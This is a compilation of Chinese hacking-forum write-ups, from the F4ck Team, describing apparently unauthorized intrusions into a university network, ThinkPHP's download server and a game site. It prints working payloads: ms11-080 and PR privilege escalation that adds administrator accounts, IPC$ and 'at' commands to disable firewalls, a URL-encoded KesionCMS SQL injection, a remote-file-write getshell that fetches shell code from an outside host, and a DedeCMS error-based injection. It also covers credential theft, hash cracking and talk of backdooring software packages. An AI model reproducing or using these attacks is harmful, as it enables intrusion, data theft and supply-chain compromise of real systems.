*C.aportanie-1	▶ Default.htm	HTML Document	14K	2013-10-21 11:13:46	Edit	Del	Cor
MSenel (1)	▶ Default1.htm	HTML Document	15K	2013-9-27 17:55:55	Edit	Del	Cop
Ben+U(2)	▶ favicon.ico	图标	45K	2011-9-16 21:24:10	Edit	Del	Cop
→Temp(XP)	▶ index.jpg	JPEG 图像	87K	2011-1-19 15:27:46	Edit	Del	Cor
➡Temp(2000)	▶index2.jpg	JPEG 图像	53K	2011-1-20 14:43:04	Edit	Del	Cor
Config(2000)	▶ indonesia.bd	文本文档	0K	2013-6-1 9:59:23	Edit	Del	Cop
Config(XP)	▶KS_Cls.rar	VinRAR 压缩文件	278K	2013-5-9 18:58:56	Edit	Del	Cop
▶开始→程序	► Label.mdb	IDB文件	88K	2013-5-9 0:51:14	Edit	Del	Cor
►Erveryone(1)	▶ map.asp	SP 文件	2K	2010-6-23 8:12:18	Edit	Del	Cor
►Erveryone(2)	▶NewUp.exe	2用程序	169K	2013-10-7 18:21:11	Edit	Del	Cor
➤Erveryone(3)	▶Rss.asp	ASP 文件	10K	2010-7-23 15:25:02	Edit	Del	Cor
▶桌面图标	▶ Special.asp	ASP 文件	5K	2010-6-23 8:12:18	Edit	Del	Cor
▶PHP目录	▶ SpecialIndex.asp	ASP 文件	1K 📍	2010-6-23 8:12:18	Edit	Del	Cor
₩Perl目录	▶ SpecialList.asp	ASP 文件	4K	2010-6-23 8:12:18	Edit	Del	Cor
≫Mysql目录	▶ student20110225.xls	XLS 文件	4257K	2011-2-25 11:41:36	Edit	Del	Cor
●新建目录	▶ vote.asp	ASP 文件	3K	2011-5-26 18:11:24	Edit	Del	Cor
<ul> <li>●新建文本</li> </ul>	▶vps.asp	ASP 文件	88K	2013-10-15 2 38:48	Edit	Del	Cor
教務库操作	▶web.config	CONFIG 文件	0K	2013-3-10 14:50:24	Edit	Del	Cor
▶ 注接数据库	▶xw.aspxw.jpg	JPEG 图像	0K	2013-6-10 14:38:40	Edit	Del	Cor
▶建立MDB文件 ▶压缩MDB文件	▼ 本地磁盘(A) 本地磁盘(C:)	本地磁盘	(D:)		本地磁盘(日	:)	
4							

图 1-3-6

### 既然这样,直接上杀器提权<sup>~</sup>似乎很轻松啊==,如图 1-3-7:

服务器操作系统		
WEB服务器版本		Microsoft-IIS/6.0
Scripting.FileSystemObject	√	文件操作组件
wscript.shell	Ą	命令行执行组件
ADOX.Catalog	√	ACCESS建库组件
JRO.JetEngine	Ą	ACCESS压缩组件
Scripting.Dictionary	√	数据流上传辅助组件
Adodb.connection	Ą	数据库连接组件
Adodb.Stream	√	数据流上传组件
SoftArtisans.FileUp	×	SA-FileUp 文件上传组件
LyfUpload.UploadFile	×	刘云峰文件上传组件
Persits.Upload.1	×	ASPUpload 文件上传组件
JMail.SmtpMail	×	JMail 邮件收发组件
CDONTS.NewMail	×	虚拟SMTP发信组件
SmtpMail.SmtpMail.1	×	SmtpMail发信组件
Microsoft.XMLHTTP	Ą	数据传输组件

图 1-3-7

组件开放。现在的大学真尼玛松,网管到底在想什么-v-。 看了下打了的补丁,如图 1-3-8:

修补程序:	安装了 278 个修补程序。	
	[01]: File 1	
	[02]: File 1	
	[03]: File 1	
	[04]: File 1	

图 1-3-8

278个补丁提权很有希望<sup>~</sup>再看下进程,如图 1-3-9:

tasklist			
映像名称	PID 会话名	会话#	内存使用
System Idle Process	O Console		0 28 K
System	4 Console	0	312 K
smss.exe	296 Console	0	528 K
csrss.exe	344 Console	0	7,376 K
winlogon.exe	368 Console	0	6,360 K
services.exe	416 Console	0	3,944 K
lsass.exe	428 Console 📝	0	8,800 K
vmacthlp.exe	588 Console	0	2,776 K
svchost.exe	608 Console	0	3,672 K
svchost.exe	688 Console	0	4,480 K
svchost.exe	752 Console	0	5,348 K
svchost.exe	788 Console	0	6,176 K
svchost.exe	📕 📕 🖉 🖉 💋 💋 💋 🖉	0	20,284 K
ZhuDongFangYu.exe	832 Consol	e	0 9,080 K
spoolsv.exe	1016 Console	0	5,200 K
cisvc.exe	1048 Console	0	1,524 K
inetinfo.exe	1156 Console	0	9,524 K
FrameworkService.e	xe 1180 Const	ole	0 8,624 K
March 1 - I di march	4044 0		DOC OFC V

图 1-3-9

日瞬间蛋疼了,有360,不管了。找基友拿了个免杀 PR、巴西烤肉试试,如图1-3-10:

SHELL路径: C:\wmpub\cmd.com
C:\RECYCLER\pr.exe
/shanjie89/>This exploit will execute "net user temp 123456 /add & net localgroup administrators temp /add" /shanjie89/>Could not set registry values

图 1-3-10

操,直接被拦截了。执行巴西烤肉直接不行,看了下补丁略小试试 ms11080,直接从法客工 具包里撸出来用,如图 1-3-11、1-3-12:



图 1-3-11

SHELL路径: C:\v	vmpub\cmd.com
net user 90sec	
用户名 全名 注释 用户的注释 国家(地区)代码 帐户启用 帐户到期	90sec 90sec 000 (系统默认值) Yes 从不
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2013-10-21 12:05 2013-12-3 10:53 2013-10-21 12:05 Yes Yes

图 1-3-12

搞定哈哈。扫描了下开放端口,如图 1-3-13:

Sca	an IP: 127.0.0.1
Po	rt List: 21,23,25,80,110,135,139,445,1433,3389,43958
9	scan
扫	曲报告:
12	7.0.0.1:21关闭
12	7.0.0.1:23关闭 7.0.0.1:25
12	7.0.0.1:80开放
12	7.0.0.1:110关闭
12	7.0.0.1:135井殿
12	7.0.0.1:445开放
12	7.0.0.1:1433关闭
12	7.0.0.1:3389

图 1-3-13

3389 是开着的注册表里读了读 RDP 的端口,如图 1-3-14:

地址:	C:\RECYCL	ER\	
→程序目	录	<b>^</b>	注册表键值读取
→上級目	录		3389端口
→新建目	录		
→新建立	之本		
→远程	下载		• 3389
-+(ਭਾ	<1 <del>1</del>		

图 1-3-14

确定是 3389, 打开 mstsc 输入网址卧槽, 悲剧发生了, 如图 1-3-15:

<b>S</b>	远程桌面 <b>连接</b>			
计算机 (C): 用户名: 当您连接时:	无指定 将向您询问凭 <b>据。</b>	•	•	
算机。 机。请重新输	入计算机名称或 IF	,地址,然后尝试连接。	如果问题仍然存在,	请联系远程记

图 1-3-15

提示错误,立即使用 webshell 用转发试试 可惜转发不出来。不管了关了他防火墙再说<sup>~</sup>可 是。不能执行这些命令怎么办呢-。-,虽然有 administrator 的权限自己左思右想了大半天<sup>~</sup> 对 了! 用 IPC\$ !!因为看到 135 和 445 端口都还开放着。

net use \\127.0.0.1\ipc\$ /user:a\USER PASSWORD, 验证帐号和密码,执行成功后, 如图 1-3-16:



#### 图 1-3-16

dir \\127.0.0.1\c\$, 读取列表, 如图 1-3-17:



图 1-3-17

上传自己的 bat 或者程序, net time \\127.0.0.1 查看系统时间, 如图 1-3-18:

C:\Documents and Settings\Administrator>net time \\127.0.0.1 \\127.0.0.1 的当前时间是 2013/10/21 下午 12:18
命令成功完成。

图 1-3-18

at \\127.0.0.1 time C:\RECYCLER\1.bat,添加事件倒计时,如图 1-3-19:

SHELL路径: C:\RECYCLER\cmd.exe	
at \\127.0.0.1 21:38 C:\RECYCLER\1.bat	
新加了一项作业,其作业 ID = 1	

图 1-3-19

我的 bat 里是关闭系统防火墙和重启的一个很简单的批处理,成功的执行后重启还是不行,然后用远控也无法上线。

实在无解了,询问了好朋友,宝-宝@FF0000,如图 1-3-20:

	<u>action</u>	u程 道程 連接	ŧ ŧ		
4	计算机 (C) 用户名: 当您连搞求	 デ 指定 特向懲询问			
10	连接已新开				
	此计算机; 诸芸试量新	8:法注接到)) 6注接,加强	重程计算机。 周问题103续在4 确定	E,请院系道程计 至01111	算机的并有者或
宝-宝 IPf	21:50:4 策略	9	- HUAC		

图 1-3-20

好吧,立即就去 ipconfig /all 查看了下网卡地址,如图 1-3-21:

SHELL路径: C:\wmpub\cmd.com
ipconfig /all
Node Type : Unknown
WINS Proxy Enabled : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix .:
Description: Intel(R) PRO/1000 MT Network Connection
Physical Address: 00-50-56-95-1A-39
DHCP Enabled
IP Address: 211.
Subnet Mask : 255.255.255.192
Default Gateway : 211
DNS Servers : 211.

图 1-3-21

拿超级 ping 试了试,如图 1-3-22:

	请输入IP或域名:	www.	查询	
--	-----------	------	----	--

如果服务器网络不通或禁PING,则全部超时。

请选择检测点: 🔽 全选 🔽 电信 🔽 多线 🔽 联通 🔽 移动 🔽 海外😕

序号	Ping的地点	响应IP	响应时间	TTL	赞助商 🕑
1	重庆[电信]	218	30毫秒	58	首页互联
2	广东东莞[电信]	218	32毫秒	54	BGP5线VPS109元
3	上海[电信]	218.	9毫秒	55	上海龙联[上海高防]

图 1-3-22

我累个大操一个网站两个 IP 这是毛原因???一个是 211. x. x. x 一个是 218. x. x. x 而且 C 段分的很细。255. 255. 255. 192 。和朋友聊了聊推断出来可能有 DMZ 或者路由,无奈,当时间已经快1 点多基友都不在只好下线谁觉。

#### 0x02 心不死转战 C 段站

之前提早很晚了就睡了,第二天心不死 继续想办法 打开 webshell 后无聊翻文件夹,发现, 如图 1-3-23:



图 1-3-23
•

D: My Docum	ents	* 😨 💯	
《站点1	6 <b>27</b> 8		
录 133	成的电脑	常規   选项   传送   高级	书签  统计
	央)图)注波	连接类型 FTP	
ata	211		
en 🚽	ftp.	始点名称	
aded :	211	IP 地址	第0 21
ads	21	用户名称 (U) anonymous	▽ 悪名 (1)
2	fte		
	211.	2 to 0	
Fil	iii 211.	远端路径 (0)	
	211.7	本地路径(L)	0
t Fil	211.	代理服务器●【数は)	1
	211.		
	JE 211.	町区(2) 尝试自动发觉时	间偏移
	211.	注释 ① [	

有个 Flashxp 一个 FTP 工具,顿时就下载了,打开一看哈哈瞬间天都亮了,如图 1-3-24:

图 1-3-24



图 1-3-25

复制到剪贴板,该站点的帐号密码就导出来了了<sup>~</sup>相信很多人知道的吧,哈哈找到一个,如 图 1-3-26:

WinSock 2.0 OpenSSL 0 9.8i 15 Sep 2008	-
【石】正任注接到 211 > IP	
[右] 220 Serv-U FTP Server v10.2 ready	
[右] USER jwc	
[[右] 331 User namerikay, need password. [[右] PASS (陪審)	
[右] 230 User logged in, proceed.	
[右] SYST	
[石] 215 UNIX Type: L8 [石] FFAT	
[右] 211-Extensions supported	
图 1-3-26	

发现	有权	限上约	戋直接	<del></del> 是上了	$-\uparrow$ websh	ell,由此又	拿下了一个 web	shell,如图 1-3	3-27 <b>:</b>
		<u> </u>	-1100-8	~					
÷	→	Ç5	5	ជ	🔇 jwa	<b>t00</b>	ls.asp		
要快	速访	讨,请	将网切	L放在4	收藏夹栏中的:	这一位置。	立即导入收藏		
<b>[</b> ]→[	prog	ram <b>j</b>	ſ→A	llUse	rs』『→程序	』『→启动』	<b>『→</b> pcAnywhere	el [→serv-ul	ſ→F
地址	÷ 1	E:∖wv	vw∖j	wc\(	)5(11)				
本	地磁	盘 (A:	)	<b>_</b>	EN				

图 1-3-27

拿到 webhell 后直接 cmd 执行了 ping 8.8.8.8 尼玛我怕又被做上策略了。 如图 1-3-28:

	SHELL路径: C:\RECYCLER\13cmd.exe
	ping 8.8.8
	Pinging 8.8.8.8 with 32 bytes of data:
	Reply from 8.8.8.8: bytes=32 time=37ms TTL=43
	Reply from 8.8.8.8: bytes=32 time=44ms TTL=43
	Reply from 8.8.8.8: bytes=32 time=38ms TTL=43
	Reply from 8.8.8.8: bytes=32 time=40ms TTL=43
隐藏,显示	Ping statistics for 8.8.8.8: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 37ms, Maximum = 44ms, Average = 39ms
	图 1-3-28

发现是通的,然后就开始了一段愉快的提权之旅-。-,也没多试别的。 直接 ms11080 拿下(有时间 C 段里的机子由一个网关维护极有可能是同一时间安装补丁做 防护的,所以我也没多想别的直接用了这个 EXP)。 如图 1-3-29:

【→Program】 【→AllUse	rs』『→程序』『→启动』	<b>[</b> →pcAnywhere <b>]</b>	[→serv-u]	<b>[</b> →RealServer <b>]</b>	[+
地址: C:\RECYCLER\					
	SHELL路径: C:\REC	CLER\13cmd.ex	e		
→ 4 地磁盘(A:)	C:\RECYCLER\1.ex	e			
→本地磁盘 (C:)	[S]ms11-08 Evolo	it			
→本地磁盘 (D:)	[>] by:Mer4en7y@	90sec.org			
→本地磁盘 (E:)	[*] Token system c	ommand			
→站点目录	[*] Command add u [*] Liser has been «	iser 90sec 90sec successfully adde	d		
→程序目录	[*] Add to Administ	rators success	-		
→上级目录					

图 1-3-29

再次愉快的拿下,如图 1-3-30:



图 1-3-30

这时朋友发来一张图我瞬间就明了了,真不愧是学设备出身的啊,如图 1-3-31:



图 1-3-31

看了这图也就懂了一点,目标站的 IP 是由一个交换机做的策略两个 IP 地址分他们的学校的 内网跟对外的外网,学校内网用 211 即可访问,外网则是用 218 访问。这么一分析就得出, 要撸他们学校的内网就找一台对公网开放的 211 段的,主机开 VPN 跳进内网!正好我刚刚 拿到的这台 jwc 便是。上传了一个开 vpn 的脚本 然后就链接上了-。-,需要这脚本的可以 联系我拿。接入 VPN 后 就相当于处于他们的内网了,这样就可以更直接的扫描或者拿服务 器了,如图 1-3-32:

属性	值
设备名	WAN 微型端口 (PPTP)
设备类型	vpn
服务器类型	PPP
传输	TCP/IP
身份验证	MS CHAP V2
加密	MPPE 128
压缩	MPPC
PPP 多重链接帧	关
服务器 IP 地址	169.254.180.229
客户端 IP 地址	169.254.238.199

图 1-3-32

这不直接拿到 0x01 里的主机了,然后开主机 ping 外网 IP。果然不能出不能进,如图 1-3-33:



图 1-3-33

无奈只好抓出 hash 做成密码表晚上睡觉的时候跑扫描工具用。同时把 jwc 的 hash 也给抓了。 0x03Jwc 已撸 Nic,你离死也不远了!

Nic 是网络中心的缩写,我想拿下他们的服务器看看有没啥好东西,打开看了下全是伪静态的页面,没办法只好自己构造了几个关键字去搜索了下,如图 1-3-34:



找到了是科讯的,而且版本不是很高直接去乌云上找,找到了一个 EXP。

http://www.wooyun.org/bugs/wooyun-2010-07419.

备份百度网盘地址: http://pan.baidu.com/s/1Fxoec。

/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e %2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256 e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%25

20%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
找到了,如图 1-3-35:
< i> 🗞 5 🏠 🔇 view-source:nic. 🚛 //plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2 🏠 🔻 🗲 🕨 📓, site:nic.cz
要快速访问,请将阿拉放在收藏来栏中的这一位置。 立即导入收藏
1 <pre>{ coption value='1 2'&gt;admin fd14c====================================</pre>

图 1-3-35

默认的后台直接进行了 getshell,至于怎么 getshell 直接去百度了,忒简单了,我就不写了, 我就复制下百度来的吧,未对提交参数判断,导致可以写任意文件到服务器上…

Wap/Plus/PhotoVote.asp 14 – 23
Dim KS:Set KS=New PublicCls
Dim ID:ID = Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID="" Then ChannelID=2
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
· ·
'过程名: SaveBeyondFile
·作用:保存远程的文件到本地
'参 数: LocalFileName —— 本地文件名
'参 数: RemoteFileUrl —— 远程文件 URL
· ·
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On Error Resume Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", RemoteFileUrl, False, "", ""
Send
If .Readystate<>4 then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData

.SaveToFile server.MapPath(LocalFileName),2

.Cancel()

.Close()

End With

If Err.Number<>0 Then

Err.Clear

SaveBeyondFile=False

Exit Function

End If

Set Ads=nothing

End Function

上面的代码中这几句:

If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then

If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then

Response.write KS.G("LocalFileName")'错误提示

End If

End If

KS.G("LocalFileName")和 KS.G("RemoteFileUrl")

仅仅是判断是否为空并过滤一些 SQL 字符然后就写文件了!登陆后访问:

http://www.t00ls.net/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://w ww.bksec.net/1.txt

成功会在 Wap/Plus 下写入 cc.asp, 并返回文件名,其中的 1. txt 为 shell 代码。

提权直接上免杀免参数的 PR 的, 撸下了尼玛三台了, 360 卫视貌似直接被无视了, 如图 1-3-36、1-3-37:

← ·	•	ζΣ	5	ជ	Snic. cn/t001s. asp	☆	•	۶
要快速	防阀	<b>,</b> 请	将 网 t	止放在	收藏夹栏中的这一位置。 <u>立即导入收藏</u>			
¶→Pi	rogr	am』	<b>『</b> →/	llUse	rs』『→程序』『→启动』『→pcAnywhere』『→serv-u』『→RealServer』『→SQL』『→PHP』『→config』『→data』『Temp』	[RE	CYC	Ø,
地址:	С	:\RE	сүс	LER\				
_	1.0000.00				SHELL路径: cmd.exe			
→本±	也依弦				net user			
					/shanjie89/>This exploit will execute "net user temp 123456 /add & net localgroup administrators temp /ad	dd"		
-本	也磁盘	監 (E:)			/shanjie89/>Found token SYSTEM			
本5					/shanjie89/>Running reverse shell			
→本地								
→站点								
→程度	<b>新日</b> 園							
1	* • =							

图 1-3-36

地址: C:\RECYCLER	81	
-	SHELL路径: cmd.	exe
→本間報盟 (A:)	net user temp	
→本地磁量(C:) -本地磁量(D:)	用户名 全名 注册	temp
本地磁盘 (F:) 本地磁盘 (G:)	用户的注释 国家(地区)代码 帐户启用 帐户初期	000(采线默认值) Yes u 云
一站点目录 一程序目录	上次设置密码	2013-10-18 11:17 2012-11-20 10:05
一上项目录 一新建目录	當時到期 審時可更改 需要審問 用户可以更改來現	2013-11-30 10:03 2013-10-18 11:17 Yes

图 1-3-37

翻了翻东西有一些远程 RDP 的记然后抓出 hash 列成了表。

### 0x04 扫描出货

收集和组合的密码表扔进 HSCAN、X-Scan 直接扫了,别看工具老,效果还是很好的,特别 是有收集的密码本、弱口令、组合过的密码,5分钟扫到了3台时间问题没怎么继续扫了, 下面上张图,如图 1-3-38:



图 1-3-38

内网渗透抓 hash 获取密码就是一个连锁的效应,就比如我此次渗透中遇到的一个 密码: 2013\*sb\*Dsb1,然后我又在其他的服务器里抓到另外一个密码: 2009\*sbDsb1 由此我 进行了推断并且自己组合了一些密码,效果不错还拿到了一个服务器密码是 2007\*sbDsb1。 0x05 一些东西和后记

此次渗透总共花费了断断续续 5 天拿下该校的 WWW、NIC、JWC、党建和一个数据库服务器,当然和一年之前的我写的同是渗透学校的比可没那么精彩了,因为那时候是学生时代现在是上班党了。没那么多时间,从一个小突破口开始进行的,很多技术手段没写,例如说钓鱼,放置后门,社工,嗅探,等等,此次渗透因为学校的服务器很弱,我也没强加上面,拿到就成,未放置远控,清理了自己的脚印。还有刚刚在整理工具的时候发现一个极好的工具2013 年 1 月份的时候下的我居然没用上那就是 Sr.exe。如果我结合 0x01 的方法 用 ms11080 拿下带有 administrator 权限的帐号后用 Sr.exe 可以使用参数执行,执行方法就是 sr.exe User Pass "whoami"….具体在法客工具包 windows 提权里有一个 SR,你们自己可以看看。好了,今天就写到这里,我会对该学校进行持续渗透直到我对他不感兴趣。我也会讲继续渗透的结果记录起来和大家分享。

#### 0x06 感谢

Route(F4ck team) el4pse(和谐小组) Evi1m0(FF0000) 宝-宝(FF0000) haxsscker(C0de Play&F4ck Team) Tkby(F4ck Team) Ersc (Anying.org)

虽然文章写的很轻松简陋,过程的复杂只有你们懂,谢谢你们。 Anying Team FF000 Team F4ck Team (全文完)责任编辑: 鲨影\_sharow

## 第15节 渗透 Thinkphp 源码包服务器

```
作者: 疯子
```

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

前言:渗透 thinkphp 完全是因为无聊之余搞了搞,可是没想到的还搞进去了,呵呵,首先 在一个群里面发现别人发了一个 thinkphp 的连接,打开是一个压缩包,800 多 MB 就下载了 可是下载速度我不敢恭维啊,几 KB 几十 KB 每秒,呵呵,如图 1-1-1:

【属性详情 - 查看您的任务属性信息		
文件名称 thinkphp.cn.zip	任务状态 完成	文件大小 803.48MB
存储目录 E:\TDDOWNLOAD\	已下载 803.48MB	MD5 51D0C2A3E8321C6C94
累积下载 803.52MB	累积上传 61.79MB	创建时间 2013-11-05 15:19:55
完成时间 2013-11-05 18:05:50	下载用时 02:42:26	平何速度,84.42KB/s (1))
URL http://www.thinkp****cn/	引用页 暂无	Becurity Team

图 1-1-1

**正文:**下了四个小时才下载完,下载了那么久,当然要看看里面的东西,源码,呵呵这安全 运维可真厉害,在里面找到了一个 config,看看好东西,果然有干货,如图 1-1-2:



图 1-1-2

尝试外链这 mysql 数据,连接不了,然后继续往下面看,如图 1-1-3:

.76	
77	//邮件配置
78	'THINK EMAIL' => array(
79	'SMTP HOST' => 'smtp.exmail.qq.com', //SMTP服务器
.80	'SMTP PORT' => '465', //SMTP服务器端口
.81	'SMTP_USER' => 'mail@thinkphp.org', //SMTP服务器用户名
.82	'SMTP PASS' => 'And a state of the second
83	'FROM EMAIL' => 'mail@thinkphp.org', //发件人EMAIL
.84	'FROM_NAME' => 'ThinkPHP', //发件人名称
.85	'REPLY_EMAIL' => '', //回复EMAIL(留空则为发件人EMAIL)
86	'REPLY_NAME' => '', //回复名称(留空则为发件人名称)
.87	),
.88	
.89	//COOKIE配置
.90	'COOKIE_PREFIX' => 'THINK_',
91	'COOKIE_PATH' => '/',
.92	
.93	'THINK UPLOAD' => array(

图 1-1-3

发现了邮件配置,拿着这个登陆试一下,如图 1-1-4:

h

TOPThink顶刻	打 新 新 新 新 前 前 内 一	<b>P社区订阅</b> <mail@thin 设置 - 换肤</mail@thin 	kphp.org>
☞ 写信		訊里·德罗	自动回复:ThinkPHP用户激活邮件 - 邮件已收到,回头给作
▲ 收信	星期日(	5 封)	
何 通讯录		PostMaster 🛞	来自thinkphp.org的退信 - 很指数您发送的邮件被遗回
		Simon	自动回复:ThinkPHP找回密码邮件 - 您好,您发的邮料
收件箱(1739)		蛀牙	自动回复:ThinkPHP用户激活邮件 - 邮件已收到,谢谢。
星标邮件 ★		男人海洋	自动回复:ThinkPHP用户激活邮件 - Hihi,和你说个事~
内部公告		gaowt520	高文天 自动回复: ThinkPHP用户激活邮件 创发
草穗箱		PostMaster 🛞	来自thinkphp.org的遐信 - 很抱歉您发送的邮件被退回

图 1-1-4

成功了,看了一下里面没什么东西,多半是发送注册邮件什么的,继续往下看会有的,如图 1-1-5:



图 1-1-5 我和我的小伙伴们都惊呆了,确定可以登陆吗?试一下不就知道了,如图 1-1-6:

🚅 🛃 🗙 III 🕨 - 💽 😂 🌍		
😤 🚖 🐠 🔢 /thinkphp/web/		
名称	大小	日期
1 上级目录		
🎩 aspnet_client	0	2012/3/19 1
📙 Case	0	2012/2/27 1
🍌 cert	0	2012/2/22 1!
🍌 Vploads	0	2012/5/22 1
L htaccess	173	2012/3/26 1!
📆 download. php	2 KB	2012/7/3 11
📄 index. htm	698	2008/3/30 2:
📆 index. php	ЗКВ	2012/3/26 1
🐻 test. php	1 KB	2012/5/22 1.

图 1-1-6

真不知道说什么了,这是一个礼物,大礼物。可是 FTP 的 IP 和官网的 IP 不是一个,所以就翻了一下没找到什么东西。然后查询了一下 IP 上绑定的域名发现有一个 thinkphp 的下载域 名在里面: down.thinkphp.cn,如图 1-1-7:

	该域名 down.thinkphp.cn 的IP地址是 114.80.156.148 所在地区为:上海市,共有 5 个域名解析到该IP。						
序号	域名		标题	PR			
1	www.qth.com.cn	启东市微机应用研究所IQTHI单片机I实验仪I仿真器I微机原					
2	www.elinkhost.net	域名注册,虚拟主机,企业邮局提供服务商					
3	bbs.qth.com.cn	正在获取中 🛟					
4	qth.com.cn	启东市微机应	用研究所IQTHI单片机I实验仪I仿真器I微机原	3			
5	down.thinkphp.cn	无标题		() 9.2 m			

图 1-1-7

我就不多写过程了,而在我去 thinkphp 的网站上下载包的时候发现包是在 down 这个服务器 上面,如图 1-1-8:



图 1-1-8

如果我把里面的包加上后门或者在你一次升级重要版本的时候加上后门,那样岂不是很多站都会被挂上 shell?当然,做为一个猪猪侠的崇拜者,我是不会干这事的,如图 1-1-9:

•			down.thinkphp.c	:n - 远程桌面		
DV Meter 5.02	📲 我的电脑					
	文件(E) 编辑(E) 查看(V)	收款	氰(A) 工具(I) 帮助	ወ		
2	(③ 后退 - 〇 - 🤌 🔎 捜索	1	文件夹 🛄 -			
安全配置向	地址 (1) 📝 我的电脑					
Ş			名称	类型		
	系统任务	*	硬盘			
	☑ 查看系统信息		→本地磁盘 (C:)	本地磁盘		
	◎ 添加/删除程序		☞本地磁盘 (D:)	本地磁盘		
	▶ 更改一个设置		☞本地磁盘(E:)	本地磁盘		
			☞本地磁盘 (F:)	本地磁盘		
	其它位置	*	☞本地磁盘(G:)	本地磁盘		
	图 1-1-9					

一个 shell 算什么?最后还提权了这台服务器,利用的是 mysql root 权限直接 UDF 提权,如 图 1-1-10:

1	衠	下载	扩展	应用	教程	代码	案例	资讯	讨论	全
43	think 编辑	cphphj □载	2013-11	L-06 02:0	8					
* 标	题 T	hinkPHP	3.1.3完整	版			用空格	分隔		
* 分	类	框架	*							
* 是否	登录	fi [	<b>~</b>							
* 描	述 [l [l [l [l [l [l [l	B Ø IJ默认关闭 i]异常日志 i]Action對 i]数据库错 i]修正上- /ul] f细的更新 url]http:// pr/l	<> 、 、 、 、 、 、 、 、 、 、 、 、 、	図 「 「/li」 か方法支持 ひ合错误(f -些BUG; i看: inkphp.c	/iij 注度贯操作 č码;[/li] :[/li] n/update	E ; [/li] e/3.1.3.ht	:ml[/url]	- 40 Secu	CK (() Tity Tr	

图 1-1-10

最后在邮箱中也找回了一个管理员的密码,好不容易找到的管理员邮箱啊,开始第一个没找

回来,一直没发送邮件,最后这个才找回成功,可以直接编辑 N 多东西,下载包也可以更新,如图 1-1-11:



在这里我终于明白了,为什么经常会有大型 CMS 存在后门了。 (全文完)责任编辑:随性仙人掌

# 第16节 一次多思路的渗透

作者: a584518

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

不知不觉,法客二周年了,说来惭愧,我是今年年中才来法客的,刚来就被这里的氛围感染了,现在法客过生日了,我也送一份礼物,为论坛添几块砖!目标站是一个小游戏的网站,url 后面加一个 robots.txt,如图 3-2-1:



图 3-2-1

竟然是 dede 的,让我情何以堪,看看版本吧,如图 3-2-2:

$\leftarrow \rightarrow$	C 🗋 www.com/data/admin/ver.txt
<b>三</b> 应用	🤁 建议网站 📓 百度 🧰 从 IE 中导入
2011032	5

## 图 3-2-2

20110325 很低,应该是有戏的,试试 dede 的那个 plus/search.php 注入漏洞,如图 3-2-3:

← →	C	🗅 www. 🦲	com/plus/search.php?keyword=as&typeArr[111%3D0`\'`)+and+(SELECT+1+FROM+(select+count(*), concat(flo	or (r
👖 应用	<mark>し</mark> 建i	闪动 😤 百度	□ 从 IE 中导入	
内此	网页为	」 英文 ▼ 网页	,是否需要翻译?  翻译】 否	qwî

#### DedeCMS Error Warning!

Technical Support: http://bbs.dedecms.com

Error page: /plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(\*), concat(floor(rand(0)\*2), (substring((select+CONCAT(0x7c, userid, 0x7c, pwd)+from+ %23@\_admin`+limit+0, 1), 1, 62)))a+from+information\_schema.tables+group+by+a)b)%23@`\'`+]=a Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use nea count(\*), concat(floor(rand(0)\*2), (substring((select' at line 1

Error sql: SELECT channeltype FROM db\_webarctype WHERE id=111=@`\'`) and (SELECT 1 FROM (select count(\*), concat(floor(rand(0)\*2), (substring((se db\_webadmin' limit 0,1),1,62)))a from information\_schema.tables group by a)b)#@`\'`

### DedeCMS Error Warning!

Technical Support: http://bbs.dedecms.com

Error page: /plus/search.php?keyword=as&typeArr[111%3D@`\``)+and+(SELECT+1+FROM+(select+count(\*), concat(floor(rand(0)\*2), (substring((select+CONCAT(0x7c, userid, 0x7c, pwd)+fron+ %23@\_admin+thinit+0, 1), 1, 62)))a+from+information\_schema.tablesteroup+by+a)b)%23@`\`+]=a Error infos: Duplicate ent(y '1|admin|a8183d3412a408354ae8' for key group key' Error sql: SELECT \* FROM 'db\_weharchives' arc WHERE typeid IN (111=@`\`) and (SELECT 1 FROM (select count(\*), concat(floor(rand(0)\*2), isubstring( 'db\_webadmin' limit 0, 1), 1, 62)))a from information\_schema.tables group by a)b)#@`\`) AND arc.arcrank > -1 AND ( CONCAT(arc.title, ', arcsmiter

图 3-2-3

竟然直接爆出的账号密码,你好歹也是一个游戏站,安全居然做成这样,我内牛满面了。得到账号 admin,密码解密为 admin123!!

继续找找后台吧,加了一个 dede,如图 3-2-4:



dir

### 图 3-2-4

这算什么情况,随后我又去试了试 dede 爆后台的那个,不过网站过滤了错误回显,自然那个方法也就行不通了,直接 getshell 也不行,我蛋疼了。

### 放弃从来不是我的作风,来跟烟继续。

网址后面加 dede 没有报错,加其他的东西会爆 404,说明存在 dede 这个目录,那么就是做了限制了,我突然想起 dede 好像可以跨目录,思路有了就来实践吧。

网址后面加上 include/dialog/select\_media.php?f=form1.murl 看效果,如图 3-2-5:

